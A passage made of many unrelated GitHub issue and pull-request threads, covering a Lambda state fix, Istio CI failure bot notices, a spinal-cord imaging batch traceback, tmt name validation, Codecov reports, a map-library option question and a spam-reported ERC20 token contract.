   At: core/bind/core_bind.cpp:1697.
ERROR: eof_reached: Condition ' !f ' is true. returned: false
   At: core/bind/core_bind.cpp:1602.

but that's a different issue, and I'll have to investigate to see what is causing it. I suspect it's a single asset....


fix(verify): Lambda Pending state fix

A pending state for a lambda function prevents routing traffic
or attaching event sources. The earlier fix with waiting for it
to stablize still applies but needs to be pushed further up in
order for it to happen before we try to attach event sources etc.
fixes #70

@coleduclos  I tried with us-east-1 and same fix that I made works. Only change was that it had to be pushed right before Lambda Create Task for it to make sure a transition Pending -> Active right after creation.
The oversight was that, in the absence of an event source, you dont need a function in an Active state until right before routing traffic.

@nimakaviani awesome! Thank you again for the quick turn around. We will begin to test these changes ASAP


more multi-asset fee bugs

[ ] investigate why sending some tokens (for instance pizza) display insufficient note balance.

[ ] investigate why testUSD shows a zero fee balance when other fee tokens display a non-zero fee amount

[ ] handle cases where some tokens (delegation tokens) have no asset metadata attached to them, which breaks the extension

https://github.com/penumbra-zone/web/issues/1397#issuecomment-2207117214

closing in favor of #1413


Use https for security instead of http

I could put this in every quintel repo where an url points to but consider this a global et-everything issue.
My main question is: why don't we use it?
We could look into: https://letsencrypt.org/

Moving this to ansible repo.


Further set NamespacesUpdated and ConfigTypesUpdated of PushRequest

Set NamespacesUpdated and ConfigTypesUpdated when service instance updated.
[ ] Configuration Infrastructure
[ ] Docs
[ ] Installation
[x] Networking
[ ] Performance and Scalability
[ ] Policies and Telemetry
[ ] Security
[ ] Test and Release
[ ] User Experience
[ ] Developer Infrastructure

@hzxuzhonghu: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

gencheck_istio
65498908a1af6fa9c794fb4941429e58e901889e
link
/test gencheck_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@hzxuzhonghu: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

e2e-simpleTests-cni_istio
65498908a1af6fa9c794fb4941429e58e901889e
link
/test e2e-simpleTests-cni_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@hzxuzhonghu: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

e2e-simpleTests-cni_istio
65498908a1af6fa9c794fb4941429e58e901889e
link
/test e2e-simpleTests-cni_istio

e2e-simpleTests_istio
d34ffa8b4f028bcd0b7f4ec74dd885a2c5305244
link
/test e2e-simpleTests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@hzxuzhonghu: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

e2e-simpleTests-cni_istio
65498908a1af6fa9c794fb4941429e58e901889e
link
/test e2e-simpleTests-cni_istio

e2e-simpleTests_istio
d34ffa8b4f028bcd0b7f4ec74dd885a2c5305244
link
/test e2e-simpleTests_istio

e2e-mixer-no_auth_istio
d34ffa8b4f028bcd0b7f4ec74dd885a2c5305244
link
/test e2e-mixer-no_auth_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@hzxuzhonghu: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

e2e-mixer-no_auth_istio
d34ffa8b4f028bcd0b7f4ec74dd885a2c5305244
link
/test e2e-mixer-no_auth_istio

e2e-simpleTests_istio
d34ffa8b4f028bcd0b7f4ec74dd885a2c5305244
link
/test e2e-simpleTests_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@hzxuzhonghu: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

gencheck_istio
d34ffa8b4f028bcd0b7f4ec74dd885a2c5305244
link
/test gencheck_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/test gencheck_istio

@hzxuzhonghu: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

gencheck_istio
d34ffa8b4f028bcd0b7f4ec74dd885a2c5305244
link
/test gencheck_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest

@hzxuzhonghu: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

gencheck_istio
d34ffa8b4f028bcd0b7f4ec74dd885a2c5305244
link
/test gencheck_istio

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

/retest


Report packages listed in requirements.txt that correspond to missing modules in the current environment

This is an ask from the Python extension to help with https://github.com/microsoft/vscode-python/issues/20133 (https://github.com/microsoft/vscode-python/issues/21140)
The idea is that the Python extension would define a pip requirements language type, and mark requirements.txt files as a pip requirements language type. Pylance would then register its LS to access pip-requirements type either by language type or by using requirements path pattern, and then throw warnings for when packages listed there are not installed, and then send back a code action to trigger the create environment command.

I think we can do that if the user opens the requirements file, but what if they don't? (I don't imagine people commonly open that file when they're trying to resolve why they get an import error)
Wouldn't python still need these warnings to figure out what to install? I added a comment in the python extension issue about potentially implementing support for 'pulling' diagnostics for a file. I believe pylance currently only supports 'push'.

After talking about this offline, we decided to handle it on the Python extension side.


Work Package wp-ao.csv

I would like to work on this please!

Results of Phase 1
wp-ao-result.csv

I completed this work package.


AssertionError thrown when processing multiple subjects in parallel

SCT Version: jca/947-new-ants-binaries-c1259598f01139eeb1d129a5baea50697f491010
Station: joplin (internal)
Syntax:
sct_run_batch -jobs 25 -path-data ~/duke/sct_testing/bids/spineGeneric_multiSubjects -path-output spineGeneric_20200521/ -path-segmanual ~/duke/projects/spine_generic/spineGeneric_20191104/seg_manual/ ~/code/spine-generic/processing/process_data.sh

Error:
Traceback (most recent call last):
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/scripts/sct_run_batch.py", line 152, in <module>
    p.map(run_single, subject_dirs)
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/python/envs/venv_sct/lib/python3.6/multiprocessing/pool.py", line 266, in map
    return self._map_async(func, iterable, mapstar, chunksize).get()
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/python/envs/venv_sct/lib/python3.6/multiprocessing/pool.py", line 644, in get
    raise self._value
AssertionError: Processing of subject sub-cmrrb05 failed

Full output
p101317@joplin:~/data_nvme_p101317$ sct_run_batch -jobs 25 -path-data ~/duke/sct_testing/bids/spineGeneric_multiSubjects -path-output spineGeneric_20200521/ -path-segmanual ~/duke/projects/spine_generic/spineGeneric_20191104/seg_manual/ ~/code/spine-generic/processing/process_data.sh
Running sub-amu01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-amu01.log
Running sub-amu04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-amu04.log
Running sub-balgrist02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-balgrist02.log
Running sub-balgrist05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-balgrist05.log
Running sub-barcelona02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-barcelona02.log
Running sub-barcelona05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-barcelona05.log
Running sub-beijingGE02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-beijingGE02.log
Running sub-beijingPrisma01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-beijingPrisma01.log
Running sub-beijingPrisma04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-beijingPrisma04.log
Running sub-beijingVerio02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-beijingVerio02.log
Running sub-brno01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-brno01.log
Running sub-brno04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-brno04.log
Running sub-brno07. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-brno07.log
Running sub-brnoPrisma02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-brnoPrisma02.log
Running sub-brnoPrisma05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-brnoPrisma05.log
Running sub-cardiff02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-cardiff02.log
Running sub-cardiff05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-cardiff05.log
Running sub-cmrra02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-cmrra02.log
Running sub-cmrra05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-cmrra05.log
Running sub-cmrrb05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-cmrrb05.log
Running sub-cmrrb02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-cmrrb02.log
Running sub-dresden01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-dresden01.log
Running sub-geneva02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-geneva02.log
Running sub-geneva05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-geneva05.log
Running sub-hamburg02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-hamburg02.log
Running sub-hamburg05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-hamburg05.log
Running sub-juntendo750w02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-juntendo750w02.log
Running sub-juntendo750w05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-juntendo750w05.log
Running sub-mgh02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-mgh02.log
Running sub-mgh05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-mgh05.log
Running sub-milan02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-milan02.log
Running sub-milan05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-milan05.log
Running sub-mniPilot1. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-mniPilot1.log
Running sub-mniS03. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-mniS03.log
Running sub-mniS06. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-mniS06.log
Running sub-mniS09. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-mniS09.log
Running sub-mpicbs03. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-mpicbs03.log
Running sub-mpicbs07. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-mpicbs07.log
Running sub-nottwil03. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-nottwil03.log
Running sub-nottwil06. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-nottwil06.log
Running sub-nwu03. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-nwu03.log
Running sub-nwu06. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-nwu06.log
Running sub-oxfordFmrib03. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-oxfordFmrib03.log
Running sub-oxfordFmrib06. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-oxfordFmrib06.log
Running sub-oxfordFmrib09. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-oxfordFmrib09.log
Running sub-oxfordOhba01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-oxfordOhba01.log
Running sub-oxfordOhba04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-oxfordOhba04.log
Running sub-pavia02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-pavia02.log
Running sub-pavia05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-pavia05.log
Running sub-perform02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-perform02.log
Running sub-perform05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-perform05.log
Running sub-queensland02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-queensland02.log
Running sub-queensland05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-queensland05.log
Running sub-sapienza02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-sapienza02.log
Running sub-sapienza05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-sapienza05.log
Running sub-sherbrooke02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-sherbrooke02.log
Running sub-sherbrooke05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-sherbrooke05.log
Running sub-stanford01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-stanford01.log
Running sub-stanford04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-stanford04.log
Running sub-strasbourg01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-strasbourg01.log
Running sub-strasbourg04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-strasbourg04.log
Running sub-tehranS01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tehranS01.log
Running sub-tehranS04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tehranS04.log
Running sub-tokyo750w01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tokyo750w01.log
Running sub-tokyo750w04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tokyo750w04.log
Running sub-tokyo750w07. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tokyo750w07.log
Running sub-tokyoIngenia03. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tokyoIngenia03.log
Running sub-tokyoIngenia06. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tokyoIngenia06.log
Running sub-tokyoSkyra02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tokyoSkyra02.log
Running sub-tokyoSkyra05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-tokyoSkyra05.log
Running sub-ubc01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-ubc01.log
Running sub-ubc04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-ubc04.log
Running sub-ucl01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-ucl01.log
Running sub-ucl04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-ucl04.log
Running sub-unf01. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-unf01.log
Running sub-unf04. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-unf04.log
Running sub-unf07. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-unf07.log
Running sub-vallHebron03. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-vallHebron03.log
Running sub-vallHebron06. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-vallHebron06.log
Running sub-vuiisAchieva02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-vuiisAchieva02.log
Running sub-vuiisAchieva05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-vuiisAchieva05.log
Running sub-vuiisIngenia02. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-vuiisIngenia02.log
Running sub-vuiisIngenia05. See log file /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-vuiisIngenia05.log
multiprocessing.pool.RemoteTraceback:
"""
Traceback (most recent call last):
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/python/envs/venv_sct/lib/python3.6/multiprocessing/pool.py", line 119, in worker
    result = (True, func(*args, **kwds))
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/python/envs/venv_sct/lib/python3.6/multiprocessing/pool.py", line 44, in mapstar
    return list(map(*args))
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/scripts/sct_run_batch.py", line 140, in run_single
    assert res.returncode == 0, 'Processing of subject {} failed'.format(subject)
AssertionError: Processing of subject sub-cmrrb05 failed
"""

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/scripts/sct_run_batch.py", line 152, in <module>
    p.map(run_single, subject_dirs)
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/python/envs/venv_sct/lib/python3.6/multiprocessing/pool.py", line 266, in map
    return self._map_async(func, iterable, mapstar, chunksize).get()
  File "/home/GRAMES.POLYMTL.CA/p101317/code/sct/python/envs/venv_sct/lib/python3.6/multiprocessing/pool.py", line 644, in get
    raise self._value
AssertionError: Processing of subject sub-cmrrb05 failed

I suspect this might be cause by a RAM saturation. Will do further tests.

Is there anything interesting in /mnt/nvme/p101317/spineGeneric_20200521/log/process_data_sub-cmrrb05.log?
I assume it's probably gone by now, but if not or the issue reproduces, I'd be curious.

that was a good stress-test to assess how well the lab keeps record of previous processing 😉
we still have that log file (under internal server: duke:projects/spine_generic/spineGeneric_20200521/log):
err.process_data_sub-cmrrb05.log
so it looks like it was a stupid bug, which, AFAIR was fixed in a previous PR. So nothing related to sct_run_batch per say, meaning we can safely close that issue.


Validate test name before filtering it

Fix: #1893

With the patch, a test name having control characters can be found, and the CLI can give user an error message. e.g.
$ tmt run discover test -n $(tmt test ls . | head -n 1)
/var/tmp/tmt/run-001

/plans/example
    discover
        how: fmf
        directory: /home/huanli/dev/1893/foo
Name '\x1b[31m/tests/example\x1b[0m' is invalid as it isn't printable.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Hi @lukaszachy and @happz, please help to review, thanks!

Looks good, please add tests.
As Milos mentioned in the issue  the reproducer (tmt ls) will stop working so please use hardcoded invalid value as the test.

Looks good, please add tests

Hi @lukaszachy, tests to sanitize plan  and test name are added. Please help to review, thanks!
And test to sanitize story name is not added because it looks that tmt doesn't support to discover story yet. e.g.
$ tmt init -t full
$ tmt stories ls
/stories/example
$ tmt run discover stories
Usage: tmt run [OPTIONS] COMMAND1 [ARGS]... [COMMAND2 [ARGS]...]...
Try 'tmt run --help' for help.

Error: No such command 'stories'.

@idorax We indeed do not have 'discover' for stories, but we do have ls  and show commands.
With the current released tmt the reproducer is:
$ tmt init
$ tmt stories create -t full something

$ tmt story ls | xargs tmt stor ls
....
  File "/usr/lib64/python3.11/re/_parser.py", line 563, in _parse
    raise source.error("unterminated character set",
re.error: unterminated character set at position 1

Your PR nicely fixes this (Invalid name '\x1b[31m/something\x1b[0m' as it's not printable.) so let's test that:)


Error occured during analysis cloudflare

when analysis the sample url like https://www.cloudflare.com/, the below error occured:
? Which website stack do you wanna browse ? (e.g. https://github.com) https://www.cloudflare.com/
TypeError: Object.values is not a function
    at wappalyzer.analyze.then.json (/usr/local/lib/node_modules/stacks-cli/bin/cli.js:111:29)

are you using Nodejs >= 7 ?

Hello @zhan-ge , node.js version should be >=7 at least, or maybe I should turn it into es5 syntax with babel instead.


Convert SPI intel driver to DTS

Codecov Report

Merging #11085 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master   #11085   +/-   ##
=======================================
  Coverage    53.1%    53.1%
=======================================
  Files         218      218
  Lines       26853    26853
  Branches     5950     5950
=======================================
  Hits        14259    14259
  Misses      10162    10162
  Partials     2432     2432

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6203020...2263790. Read the comment docs.

There is a chicken & egg issue: if I want to remove SPI_0_NAME from drivers/spi/Kconfig, I should first make cc2520 (ieee802154) dts ready. Will do that, and make this current PR on top of that 15.4 change branch.

myeah there is even more SPI name config issue all over the samples, which means more cleanup there.

myeah there is even more SPI name config issue all over the samples, which means more cleanup there.

Yeah, there is Issue #10894 that covers all the SPI slave drivers that need converting over.  Let's get the controller stuff merged and than we can tackle the slave drivers.

Let's try this quick fix for cc2520, hopefully that will pass now.

@galak about the led_strips samples, these were uselessly renaming spi controller name in order no to some irrelevant "double check" on spi controller being up, when it's all about led strip (if it's badly configured, the sample won't work and that's it).

@galak pleate, re-review.

@galak  So you forked only part of the PR? That's even more not a proper way. What is this process of working ...

@galak So you forked only part of the PR? That's even more not a proper way. What is this process of working ...

We'll it annoys me that github doesn't let me merge parts of a PR, so from time to time I do this so I can stop reviewing the same commits over and over again.  Sorry for not explain that in more detail.


bug(python):

LanceDB version
v0.5.6
What happened?
tbl = db.open_table('cd_test_1')
print(tbl) RemoteTable(fl-db-card-da2039.cd_test_1)
print("cd_test_1" in list(db.table_names()) False
When I call 'table name' in list(db.table_names()) I get False, but I can open the table, there should be some kind of problem here
Are there known steps to reproduce?
No response

db.table_names(limit=100) can solve


README overhaul

Work in progress.

Codecov Report

Merging #81 (655384d) into main (24437f6) will increase coverage by 0.16%.
The diff coverage is 55.00%.

@@            Coverage Diff             @@
##             main      #81      +/-   ##
==========================================
+ Coverage   65.27%   65.44%   +0.16%
==========================================
  Files          21       21
  Lines        1028     1033       +5
==========================================
+ Hits          671      676       +5
  Misses        357      357

Impacted Files
Coverage Δ

src/business_logic/execution/gas_usage.rs
97.43% <ø> (ø)

src/business_logic/fact_state/state.rs
21.87% <ø> (ø)

src/business_logic/state/cached_state.rs
0.00% <0.00%> (ø)

src/business_logic/state/update_tracker_state.rs
0.00% <0.00%> (ø)

...rc/core/syscalls/business_logic_syscall_handler.rs
52.08% <23.52%> (ø)

src/utils.rs
58.06% <71.42%> (ø)

src/business_logic/state/state_cache.rs
76.74% <75.00%> (ø)

src/core/syscalls/os_syscall_handler.rs
86.79% <85.71%> (+0.25%)
:arrow_up:

src/business_logic/execution/objects.rs
100.00% <100.00%> (ø)

src/business_logic/state/state_api_objects.rs
100.00% <100.00%> (ø)

... and 6 more

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more


Repo sync for protected CLA branch

The pull request is created from main637841711704398839 to main to fix git push error for protected CLA branch

@opbld16 : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Improve hooks/agent config doc: default hook execution directory is not executable

Hello,
It might be helpful to others mentioning that the directory the hooks are copied to before execution can be configured through $TMPDIR in the agent's environment.
I ran into an issue where my hooks would not execute (Permission denied), it turned out on that particular system /tmp was not executable (noexec) and that's where the hooks get copied to. This is briefly mentioned in https://github.com/buildkite/agent/issues/14#issuecomment-41880897 with a similar context.
After looking up the relevant code:

hook scripts handling https://github.com/buildkite/agent/blob/main/hook/scriptwrapper.go#L86
tmp file creation https://github.com/buildkite/agent/blob/999464b10bbb698fcd8e018feedcdfbb090264fc/bootstrap/shell/tempfile.go#L17
tmp folder creation https://pkg.go.dev/os#TempDir

It turned out this can be configured via $TMPDIR and making sure that's in the agent's env. I don't think this needs to be fixed in code since it works as expected on most systems, however knowing how to configure it when it doesn't is helpful.

Hello, @pfiaux! Thank you for reaching out with a useful piece of information!
We'll be adding this info to the Buildkite docs ASAP.
Cheers!
Karen from the Buildkite docs team

The update was merged into docs (PR #1317). The updated docs page is here: https://buildkite.com/docs/agent/v3/hooks
Many thanks for pointing this out.
Cheers! Closing the issue.


added Links do metadata exports

the previous pull request was cancelt.
Now the links to the metadata formats are prefixed with the full servername. The previous relative links only worked in the api, but not via the drupal interface.

+1


return endpoints that is in the same namespace as its referred pod

Cherrypick #9136.

@yangminzhu: The following test failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-unit-tests.sh
9bbf2f0b5c6e6301d0a3c22ce6a093946032be51
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


Verify audio default settings

Seems that sounds only work if ducking: and track: is in the sound player?

I will investigate.  The audio tests do not have either ducking or track in the sound player (they are specified at the asset level in the tests and ducking is only applied to the long voice sounds).

I cannot reproduce this issue.  @toomanybrians are you still encountering this situation?

I don't see this either, so I'm closing it


Update docs about starting containers automatically

Provide an example for using restart policies, and remove the specific examples for
process managers.
Fixes #3285

Not removing supervisord from the list for now since it's the one the OP was asking about. Addressed feedback. Thanks for the details!


Support music.youtube.com

It would be great if this extension worked with music.youtube.com.

Hi, I understand that it would be very useful to implement the control for other platforms, but this extension is focused exclusively on Spotify. At the moment there are no plans to add support for more platforms.
There may be extensions that can serve your purpose in the addon repository.

I understand. I'm closing the issue.


Added rest endpoints

Added Rest endpoint to get inference from mlflow models.
User can get inference from a model of specific version, best performing model and latest model.

[ ]  A Dockerfile for the invocation endpoint.
[ ]  A README file for info on how to configure and run the invocation endpoint.
[ ]  GitHub actions for each of these sub-modules.
[ ]  Integration tests for the invocation endpoint. You can just start the mlflow and invocation endpoint as docker-compose services and then the integration test can test some very basic model + data using the endpoints.

Thanks  for suggesting this changes, I will add it in separate PRs later.


limitMarkersToCount Problem

Hi,
When i try limitMarkersToCount nothing get happens.
map.pm.setGlobalOptions({ limitMarkersToCount: 15 });
I checked leaflet-geoman.min.js there is no attribute such as limitMarkersToCount
I use 2.4.0 version.
https://unpkg.com/<EMAIL_ADDRESS>

Hi @shym88, yes it's not released yet. Will do so in the coming days

@shym88 it's released now 🎉  - v2.5.0 is out

Thank you but i tried limitMarkersToCount nothing change, all markers shown.
map.pm.setGlobalOptions({ limitMarkersToCount: 15 });
Also i tried;
theCollection.pm.enable({
limitMarkersToCount: 15
});

When I checked global options
map.pm.getGlobalOptions() returns above;
{
"snappable": true,
"limitMarkersToCount": 15
}

Can you create a jsfiddle demonstrating the problem please?

I'm sorry I saw wrong.
The application crashed when i setted limitMarkersToCount=5. I have a lot of objects, so I thought nothing changed.
When i click edit button 5 marker is shown for each object. I thought markers open on onyl mouse over (one) object, not each object.
You can see the sample below. However my data is more than sample.
https://jsfiddle.net/seyma/swqfvxem/
Is there a way for open markers only one object?

hi @shym88, the option you are looking for is limitMarkersCountGlobally.
map.pm.setGlobalOptions({ limitMarkersToCount: 15, limitMarkersCountGlobally: true });

This feature is currently only available in Leaflet-Geoman Pro though (which has additional options to cover large projects)
Be aware that in celebration of its launch there is currently a 50% discount on the Pro library with the discount code performance. Let me know if I can assist you in any way 👍


Taiko Early Adopter

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MztacatCommunity {
string public name = "MztacatCommunity";
string public symbol = "MZT";
uint8 public decimals = 18;
uint256 public totalSupply = 1000000 * (10 ** uint256(decimals));
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowances;

event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);

constructor() {
    owner = msg.sender;
    balances[owner] = totalSupply;
}

modifier onlyOwner() {
    require(msg.sender == owner, "Only the owner can call this function.");
    _;
}

function balanceOf(address account) public view returns (uint256) {
    return balances[account];
}

function transfer(address recipient, uint256 amount) public returns (bool) {
    require(recipient != address(0), "ERC20: transfer to the zero address");
    require(amount <= balances[msg.sender], "ERC20: transfer amount exceeds balance");

    balances[msg.sender] -= amount;
    balances[recipient] += amount;

    emit Transfer(msg.sender, recipient, amount);

    return true;
}

function approve(address spender, uint256 amount) public returns (bool) {
    allowances[msg.sender][spender] = amount;

    emit Approval(msg.sender, spender, amount);

    return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
    require(recipient != address(0), "ERC20: transfer to the zero address");
    require(amount <= balances[sender], "ERC20: transfer amount exceeds balance");
    require(amount <= allowances[sender][msg.sender], "ERC20: transfer amount exceeds allowance");

    balances[sender] -= amount;
    balances[recipient] += amount;
    allowances[sender][msg.sender] -= amount;

    emit Transfer(sender, recipient, amount);

    return true;
}

function allowance(address account, address spender) public view returns (uint256) {
    return allowances[account][spender];
}

function burn(uint256 amount) public returns (bool) {
    require(amount <= balances[msg.sender], "ERC20: burn amount exceeds balance");

    balances[msg.sender] -= amount;
    totalSupply -= amount;

    emit Transfer(msg.sender, address(0), amount);

    return true;
}

function mint(uint256 amount) public onlyOwner returns (bool) {
    require(totalSupply + amount <= 2**256 - 1, "ERC20: total supply exceeds uint256");

    balances[owner] += amount;
    totalSupply += amount;

    emit Transfer(address(0), owner, amount);

    return true;
}

}

Reported for spam


Revise repository info in codebase

The repository info should be revised to reflect the changes to the workflow as part of #6. This includes:

[x] the contribution guide
[ ] some documentation-related items

[ ] check changes to doc-related items are reflected in the respective sites (CodeDocs?, RTD?)

[ ] GitHub should not be referred to as "mirror" any more.


fix markdown syntax

Seems the markdown was exported from some other tool which broke headings and introduced lots of unnecessary <br>s. I also added some mono-space modifiers to make code fragments easier to read

The GitHub diff looks really crazy... No idea why, but the changes are really minimal if you look closely

I wrote the original README.md in vim, so that's probably why it didn't "conform" to MD standards :)
Thanks for cleaning it up.


[BUG] Table representation is broken in Data Fetching guide

Describe the bug
The table representation within the relationship section of the data-fetching documentation looks broken.
Steps To Reproduce

Go to https://refine.dev/docs/guides-concepts/data-fetching/#relationships
Look at the table representation.

Expected behavior
Borders should be aligned.
Screenshot

I believe it's already aligned, working fine for me

I believe it's already aligned, working fine for me @alicanerdurmaz

